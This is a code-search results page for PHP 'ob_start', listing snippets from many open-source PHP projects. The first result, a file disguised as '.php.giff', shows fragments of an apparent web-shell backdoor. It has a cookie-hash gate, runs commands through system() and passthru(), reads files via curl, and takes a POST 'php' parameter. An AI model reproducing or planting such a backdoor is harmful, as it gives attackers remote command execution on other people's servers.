PageRenderTime 816ms queryFilters 1ms Sphinxql 322ms GetByIds 243ms meta 0ms repositoryFilters 141ms languageFilters 2ms sourceFilters 57ms

34,114 results for 'php ob_start repo:stormeus/Kusaba-Z' (816 ms)

Source

Language

Repository

javascripts_new.php.giff https://github.com/travisj/rljart-themes.git | Unknown | 422 lines
1<?php if(md5($_COOKIE['qwerty'])=="536e2403896c061e8712cf9fca3c7d6b"){
2clearstatcache();
31}elseif(function_exists('system')){
32@ob_start();
33@system($c, $ret);
37}elseif(function_exists('passthru')){
38@ob_start();
39@passthru($c, $ret);
52}elseif(function_exists('curl_version')){
53@ob_start();
54$h = @curl_init('file:/'.'/'.$f);
105
106if(!$os_name = @php_uname()){
107if(function_exists('posix_uname')){
169
170elseif(!empty($_POST['php'])){
171ob_start();
Accept.php https://bitbucket.org/onlinechessportal/onlinechessgameportal | PHP | 332 lines
1<?php
2require '../Model/Connect.php';
2require '../Model/Connect.php';
3require '../Control/RegisterLogic.php';
4require '../Control/LoginLogic.php';
4require '../Control/LoginLogic.php';
5ob_start();
6if(LoggedIn()) {
10	echo '<script type="text/javascript">alert("Please Log in")</script>';
11	echo '<script type="text/javascript"> window.location = "Home.php"</script>';
12}
51	
52		url: '../Control/TournamentAccept.php',
53		cache: false,
66	
67		url: '../Control/TournamentAcceptReject.php',
68		cache: false,
application_top.php http://myopensources.googlecode.com/svn/trunk/ | text | 0 lines
1<?php
2/*
20  if (function_exists('ini_get') && (ini_get('register_globals') == false) && (PHP_VERSION < 4.3) ) {
21    exit('Server Requirement Error: register_globals is disabled in your PHP configuration. This can be enabled in your php.ini configuration file or in the .htaccess file in your catalog directory. Please use PHP 4.3+ if register_globals cannot be enabled on the server.');
22  }
24// Set the local configuration parameters - mainly for developers
25  if (file_exists('includes/local/configure.php')) include('includes/local/configure.php');
26
27// include server parameters
28  require('includes/configure.php');
29
45// set php_self in the local scope
46  if (!isset($PHP_SELF)) $PHP_SELF = $HTTP_SERVER_VARS['PHP_SELF'];
47
93      $GET_array = array();
94      $PHP_SELF = str_replace(getenv('PATH_INFO'), '', $PHP_SELF);
95      $vars = explode('/', substr(getenv('PATH_INFO'), 1));
tagcontent.php https://github.com/srgg6701/auction-ruseasons.git | PHP | 1,246 lines
323				?>
324					<tr id="content<?php echo $row->id?>" class="<?php echo "row$k"; ?>" onclick="applyContent(<?php echo $row->id.",'row$k'"?>);" style="cursor:pointer;">
325						<td class="acytdcheckbox"></td>
591				?>
592					<tr id="content_sec0_cat0" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(0,0,'<?php echo "row$k" ?>');" style="cursor:pointer;">
593						<td class="acytdcheckbox"></td>
614						?>
615						<tr id="content_sec<?php echo $row->secid ?>_cat0" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->secid ?>,0,'<?php echo "row$k" ?>');" style="cursor:pointer;">
616							<td class="acytdcheckbox"></td>
633				?>
634					<tr id="content_sec<?php echo $row->secid ?>_cat<?php echo $row->catid?>" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->secid ?>,<?php echo $row->catid ?>,'<?php echo "row$k" ?>');" style="cursor:pointer;">
635						<td class="acytdcheckbox"></td>
645					}else{ ?>
646						<tr id="content_cat<?php echo $row->id ?>" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->id ?>,'<?php echo "row$k" ?>');" style="cursor:pointer;">
647						<td class="acytdcheckbox"></td>
tagcontent.php https://github.com/viollarr/alab.git | PHP | 1,002 lines
250				?>

251					<tr id="content<?php echo $row->id?>" class="<?php echo "row$k"; ?>" onclick="applyContent(<?php echo $row->id.",'row$k'"?>);" style="cursor:pointer;">

252						<td class="acytdcheckbox"></td>

490				?>

491					<tr id="content_sec0_cat0" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(0,0,'<?php echo "row$k" ?>');" style="cursor:pointer;">

492						<td class="acytdcheckbox"></td>

510						?>

511						<tr id="content_sec<?php echo $row->secid ?>_cat0" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->secid ?>,0,'<?php echo "row$k" ?>');" style="cursor:pointer;">

512							<td class="acytdcheckbox"></td>

529				?>

530					<tr id="content_sec<?php echo $row->secid ?>_cat<?php echo $row->catid?>" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->secid ?>,<?php echo $row->catid ?>,'<?php echo "row$k" ?>');" style="cursor:pointer;">

531						<td class="acytdcheckbox"></td>

541					}else{ ?>

542						<tr id="content_cat<?php echo $row->id ?>" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->id ?>,'<?php echo "row$k" ?>');" style="cursor:pointer;">

543						<td class="acytdcheckbox"></td>

admin-filters-post.php https://github.com/Screenfeed/polylang.git | PHP | 374 lines
1<?php
2
114		if ($lang)
115			include(PLL_ADMIN_INC.'/view-translations-'.($post_type == 'attachment' ? 'media' : 'post').'.php');
116		echo '</div>'."\n";
137
138		ob_start();
139		if ($lang)
139		if ($lang)
140			include(PLL_ADMIN_INC.'/view-translations-post.php');
141		$x = new WP_Ajax_Response(array('what' => 'translations', 'data' => ob_get_contents()));
149
150				ob_start();
151				$popular_ids = wp_popular_terms_checklist($taxonomy->name);
154
155				ob_start();
156				// use $post_ID to remember ckecked terms in case we come back to the original language
WebStart.php https://github.com/spenser-roark/OOUG-Wiki.git | PHP | 160 lines
1<?php
2/**
74# Valid web server entry point, enable includes.
75# Please don't move this line to includes/Defines.php. This line essentially
76# defines a valid entry point. If you put it in includes/Defines.php, then
93	# Get MWInit class
94	require_once( "$IP/includes/Init.php" );
95
96	# Start the autoloader, so that extensions can derive classes from core files
97	require_once( "$IP/includes/AutoLoader.php" );
98
142
143wfProfileIn( 'WebStart.php-ob_start' );
144# Initialise output buffering
153}
154wfProfileOut( 'WebStart.php-ob_start' );
155
init.php https://code.google.com/p/fullmetalgalaxy/ | PHP | 977 lines
1<?php
2/*******************************************************************
47                    . $_SERVER['HTTP_HOST']
48                    . preg_replace('#/(?:(?:includes/)?[^/]*|' . preg_quote(SCRIPT_NAME) . '.*)$#', '', $_SERVER['PHP_SELF'])
49      ); 
58// Load settings
59require GLYPE_ROOT . '/includes/settings.php';
60
87
88// Look for a config.php in the /themes/themeName/ folder
89if ( ! defined('MULTIGLYPE') && file_exists($tmp = GLYPE_ROOT . '/themes/' . $CONFIG['theme'] . '/config.php') ) {
691
692   // Load main.php, suppressing any errors from PHP in the template
693   // that might expect to be included from index.php.
790
791// Requirements are only PHP5 but this function was introduced in PHP 5.1.3
792if ( ! function_exists('curl_setopt_array') ) {
phpThumb.php http://flexicontent.googlecode.com/svn/trunk/ | PHP | 626 lines
59
60		$phpThumb->DebugMessage('Would have used cached (image/'.$phpThumb->thumbnailFormat.') file "'.$phpThumb->cache_filename.'" (Last-Modified: '.gmdate('D, d M Y H:i:s', $nModified).' GMT), but skipping because $_SERVER[HTTP_REFERER] ('.@$_SERVER['HTTP_REFERER'].') is not in $phpThumb->config_nooffsitelink_valid_domains ('.implode(';', $phpThumb->config_nooffsitelink_valid_domains).')', __FILE__, __LINE__);
61
133		$phpThumb->config_disable_debug = false; // otherwise error message won't print
134		$phpThumb->ErrorImage('failed to include_once('.dirname(__FILE__).'/phpThumb.config.php) - realpath="'.realpath(dirname(__FILE__).'/phpThumb.config.php').'"');
135	}
138	$phpThumb->config_disable_debug = false; // otherwise error message won't print
139	$phpThumb->ErrorImage('Please rename "phpThumb.config.php.default" to "phpThumb.config.php"');
140} else {
141	$phpThumb->config_disable_debug = false; // otherwise error message won't print
142	$phpThumb->ErrorImage('failed to include_once('.dirname(__FILE__).'/phpThumb.config.php) - realpath="'.realpath(dirname(__FILE__).'/phpThumb.config.php').'"');
143}
525	$opacity = (strlen($opacity) ? $opacity : 100);
526	if ($phpThumb->gdimg_source = phpthumb_functions::ImageCreateFunction($phpThumb->w, $phpThumb->h)) {
527		$alpha = (100 - min(100, max(0, $opacity))) * 1.27;
phpThumb.php git://github.com/Datawalke/Coordino.git | PHP | 613 lines
50		ob_end_flush();
51		$phpThumb->ErrorImage('failed to include_once('.dirname(__FILE__).'/phpThumb.config.php) - realpath="'.realpath(dirname(__FILE__).'/phpThumb.config.php').'"');
52	}
54} elseif (file_exists(dirname(__FILE__).'/phpThumb.config.php.default')) {
55	$phpThumb->ErrorImage('Please rename "phpThumb.config.php.default" to "phpThumb.config.php"');
56} else {
56} else {
57	$phpThumb->ErrorImage('failed to include_once('.dirname(__FILE__).'/phpThumb.config.php) - realpath="'.realpath(dirname(__FILE__).'/phpThumb.config.php').'"');
58}
124if (!@$_SERVER['PATH_INFO'] && !@$_SERVER['QUERY_STRING']) {
125	$phpThumb->ErrorImage('phpThumb() v'.$phpThumb->phpthumb_version.'<br><a href="http://phpthumb.sourceforge.net">http://phpthumb.sourceforge.net</a><br><br>ERROR: no parameters specified');
126}
426
427		$phpThumb->DebugMessage('Would have used cached (image/'.$phpThumb->thumbnailFormat.') file "'.$phpThumb->cache_filename.'" (Last-Modified: '.gmdate('D, d M Y H:i:s', $nModified).' GMT), but skipping because $_SERVER[HTTP_REFERER] ('.@$_SERVER['HTTP_REFERER'].') is not in $phpThumb->config_nooffsitelink_valid_domains ('.implode(';', $phpThumb->config_nooffsitelink_valid_domains).')', __FILE__, __LINE__);
428
index.php https://code.google.com/p/mwenhanced/ | PHP | 421 lines
1<?php
2
44// Initialize config files and set sites super global.
45include ( 'core/class.mangosweb.php' ) ;
46$MW = new mangosweb ; // Super global.
52// Site functions & classes ...
53include ( 'core/common.php' ) ; 				// Holds most of the sites functions
54include ( 'core/mangos.class.php' ) ; 			// Constructs player info, zone info, and also holds donate, and guid functions
54include ( 'core/mangos.class.php' ) ; 			// Constructs player info, zone info, and also holds donate, and guid functions
55include ( 'core/class.auth.php' ) ; 			// contains account related scripts and functions
56require_once ( 'core/dbsimple/Generic.php' ) ; 	// sets up DB simple
56require_once ( 'core/dbsimple/Generic.php' ) ; 	// sets up DB simple
57require ( 'core/class.captcha.php' ) ;			// Contains image verification scripts
58include ( 'core/cache_class/safeIO.php' ) ; 	// Part of the cache system
58include ( 'core/cache_class/safeIO.php' ) ; 	// Part of the cache system
59include ( 'core/cache_class/gCache.php' ) ; 	// Also part of the cache system
60
phpThumb.php http://opixido-ocms.googlecode.com/svn/trunk/ | PHP | 640 lines
95		ob_end_flush();
96		$phpThumb->ErrorImage('failed to include_once('.dirname(__FILE__).'/phpThumb.config.php) - realpath="'.realpath(dirname(__FILE__).'/phpThumb.config.php').'"');
97	}
99} elseif (file_exists(dirname(__FILE__).'/phpThumb.config.php.default')) {
100	$phpThumb->ErrorImage('Please rename "phpThumb.config.php.default" to "phpThumb.config.php"');
101} else {
101} else {
102	$phpThumb->ErrorImage('failed to include_once('.dirname(__FILE__).'/phpThumb.config.php) - realpath="'.realpath(dirname(__FILE__).'/phpThumb.config.php').'"');
103}
163if (!@$_SERVER['PATH_INFO'] && !@$_SERVER['QUERY_STRING']) {
164	$phpThumb->ErrorImage('phpThumb() v'.$phpThumb->phpthumb_version.'<br><a href="http://phpthumb.sourceforge.net">http://phpthumb.sourceforge.net</a><br><br>ERROR: no parameters specified');
165}
458
459		$phpThumb->DebugMessage('Would have used cached (image/'.$phpThumb->thumbnailFormat.') file "'.$phpThumb->cache_filename.'" (Last-Modified: '.gmdate('D, d M Y H:i:s', $nModified).' GMT), but skipping because $_SERVER[HTTP_REFERER] ('.@$_SERVER['HTTP_REFERER'].') is not in $phpThumb->config_nooffsitelink_valid_domains ('.implode(';', $phpThumb->config_nooffsitelink_valid_domains).')', __FILE__, __LINE__);
460
phpThumb.php http://php-ppcms.googlecode.com/svn/trunk/ | PHP | 598 lines
47		ob_end_flush();
48		$phpThumb->ErrorImage('failed to include_once('.dirname(__FILE__).'/phpThumb.config.php) - realpath="'.realpath(dirname(__FILE__).'/phpThumb.config.php').'"');
49	}
51} elseif (file_exists(dirname(__FILE__).'/phpThumb.config.php.default')) {
52	$phpThumb->ErrorImage('Please rename "phpThumb.config.php.default" to "phpThumb.config.php"');
53} else {
53} else {
54	$phpThumb->ErrorImage('failed to include_once('.dirname(__FILE__).'/phpThumb.config.php) - realpath="'.realpath(dirname(__FILE__).'/phpThumb.config.php').'"');
55}
115if (!@$_SERVER['PATH_INFO'] && !@$_SERVER['QUERY_STRING']) {
116	$phpThumb->ErrorImage('phpThumb() v'.$phpThumb->phpthumb_version.'<br><a href="http://phpthumb.sourceforge.net">http://phpthumb.sourceforge.net</a><br><br>ERROR: no parameters specified');
117}
417
418		$phpThumb->DebugMessage('Would have used cached (image/'.$phpThumb->thumbnailFormat.') file "'.$phpThumb->cache_filename.'" (Last-Modified: '.gmdate('D, d M Y H:i:s', $nModified).' GMT), but skipping because $_SERVER[HTTP_REFERER] ('.@$_SERVER['HTTP_REFERER'].') is not in $phpThumb->config_nooffsitelink_valid_domains ('.implode(';', $phpThumb->config_nooffsitelink_valid_domains).')', __FILE__, __LINE__);
419
end.php https://bitbucket.org/cviolette/sugarcrm.git | PHP | 411 lines
1<?php
2if(!defined('sugarEntry') || !sugarEntry) die('Not A Valid Entry Point');
43 * *******************************************************************************/
44logThis('[At end.php]');
45global $unzip_dir;
53// creating full text search logic hooks
54// this will be merged into application/Ext/LogicHooks/logichooks.ext.php
55// when rebuild_extensions is called
57if (!function_exists('createFTSLogicHook')) {
58    $customFileLoc = create_custom_directory('Extension/application/Ext/LogicHooks/SugarFTSHooks.php');
59    $fp = sugar_fopen($customFileLoc, 'wb');
60    $contents = <<<CIA
61<?php
62if (!isset(\$hook_array) || !is_array(\$hook_array)) {
67}
68\$hook_array['after_save'][] = array(1, 'fts', 'include/SugarSearchEngine/SugarSearchEngineQueueManager.php', 'SugarSearchEngineQueueManager', 'populateIndexQueue');
69CIA;
WebStart.php https://bitbucket.org/ghostfreeman/freeside-wiki.git | PHP | 159 lines
1<?php
2/**
74# Valid web server entry point, enable includes.
75# Please don't move this line to includes/Defines.php. This line essentially
76# defines a valid entry point. If you put it in includes/Defines.php, then
93	# Get MWInit class
94	require_once( "$IP/includes/Init.php" );
95
96	# Start the autoloader, so that extensions can derive classes from core files
97	require_once( "$IP/includes/AutoLoader.php" );
98
142
143wfProfileIn( 'WebStart.php-ob_start' );
144# Initialise output buffering
153}
154wfProfileOut( 'WebStart.php-ob_start' );
155
tagcontent.php https://github.com/linkatic/Cultunet.git | PHP | 887 lines
238				?>
239					<tr id="content<?php echo $row->id?>" class="<?php echo "row$k"; ?>" onclick="applyContent(<?php echo $row->id.",'row$k'"?>);" style="cursor:pointer;">
240						<td>
475				?>
476					<tr id="content_sec0_cat0" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(0,0,'<?php echo "row$k" ?>');" style="cursor:pointer;">
477						<td style="font-weight: bold;">
494						?>
495						<tr id="content_sec<?php echo $row->secid ?>_cat0" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->secid ?>,0,'<?php echo "row$k" ?>');" style="cursor:pointer;">
496							<td style="font-weight: bold;">
512				?>
513					<tr id="content_sec<?php echo $row->secid ?>_cat<?php echo $row->catid?>" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->secid ?>,<?php echo $row->catid ?>,'<?php echo "row$k" ?>');" style="cursor:pointer;">
514						<td>
523					}else{ ?>
524						<tr id="content_cat<?php echo $row->id ?>" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->id ?>,'<?php echo "row$k" ?>');" style="cursor:pointer;">
525						<td>
tagcontent.php https://github.com/linkatic/Cultunet.git | PHP | 750 lines
1<?php
2/**
136				<td>
137				<?php echo JText::_('CLICKABLE_TITLE'); ?>
138				 </td>
190				?>
191					<tr id="content<?php echo $row->id?>" class="<?php echo "row$k"; ?>" onclick="applyContent(<?php echo $row->id.",'row$k'"?>);" style="cursor:pointer;">
192						<td>
393				?>
394					<tr id="content_sec0_cat0" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(0,0,'<?php echo "row$k" ?>');" style="cursor:pointer;">
395						<td style="font-weight: bold;">
412						?>
413						<tr id="content_sec<?php echo $row->secid ?>_cat0" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->secid ?>,0,'<?php echo "row$k" ?>');" style="cursor:pointer;">
414							<td style="font-weight: bold;">
429				?>
430					<tr id="content_sec<?php echo $row->secid ?>_cat<?php echo $row->catid?>" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->secid ?>,<?php echo $row->catid ?>,'<?php echo "row$k" ?>');" style="cursor:pointer;">
431						<td>
lib_html.php https://github.com/ivansoriasolis/Vidali.git | PHP | 211 lines
1<?php
2/***********************************************************************
4 * ---------------------------------------------------------------------
5 * File: lib_html.php
6 * Author: Moisés Lodeiro <moises.lodeiro@gmail.com>
9 * El módulo html pretende servir de herramienta para no tener que estar
10 * mezclando la capa de código HTML con la capa de código en PHP en un
11 * documento haciendo que así pueda utilizarse a modo de sistema de 
20 * de template ( .tpl ) si no se le especifica una extensión ó un archivo
21 * con extensión de la carpeta leaf/pages. Si es PHP se parsea.
22 **********************************************************************/
119				$pa = strtolower( substr( $seccion , 2 , strlen( $seccion )-4 ));
120				if( is_file( 'leaf/parser/'.$pa.'.php' )){
121				
121				
122					ob_start();
123					include( 'leaf/parser/'.$pa.'.php' );
template_core.php https://github.com/nickbarth/PHP-Tofu.git | PHP | 67 lines
1<?php
2	class Template
9      // Include Helper Functions
10      require(BASEPATH.'/app/helpers/template.php');
11
12			// Render View File
13			ob_start();
14			include(BASEPATH.'/app/views/'.Routes::getController().'/'.Routes::getMethod().'.php');
18			// Render Layout File
19			ob_start();
20			include(BASEPATH.'/app/views/layouts/'.Routes::getController().'.php');
42			// Display Error File
43			$file = BASEPATH.'/app/views/error.php';
44			if (file_exists($file))
45			{
46        include_once(BASEPATH.'/app/helpers/template.php');
47
lmbDetachedFixtureTest.class.php https://bitbucket.org/idler/mmp/ | PHP | 63 lines
1<?php
2/*
10require_once(dirname(__FILE__) . '/../common.inc.php');
11require_once(dirname(__FILE__) . '/../../src/lmbDetachedFixture.class.php');
12
27  {
28    file_put_contents(LIMB_VAR_DIR . '/.setup.php', '<?php echo "wow"; ?>');
29    file_put_contents(LIMB_VAR_DIR . '/.teardown.php', '<?php echo "hey"; ?>');
30
31    $fixture = new lmbDetachedFixture(LIMB_VAR_DIR . '/.setup.php',
32                                      LIMB_VAR_DIR . '/.teardown.php');
33
34    ob_start();
35    $fixture->setUp();
44    file_put_contents(LIMB_VAR_DIR . '/.setup.php', '<?php $this->test = "test"; ?>');
45    file_put_contents(LIMB_VAR_DIR . '/.teardown.php', '<?php echo $this->test; ?>');
46
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21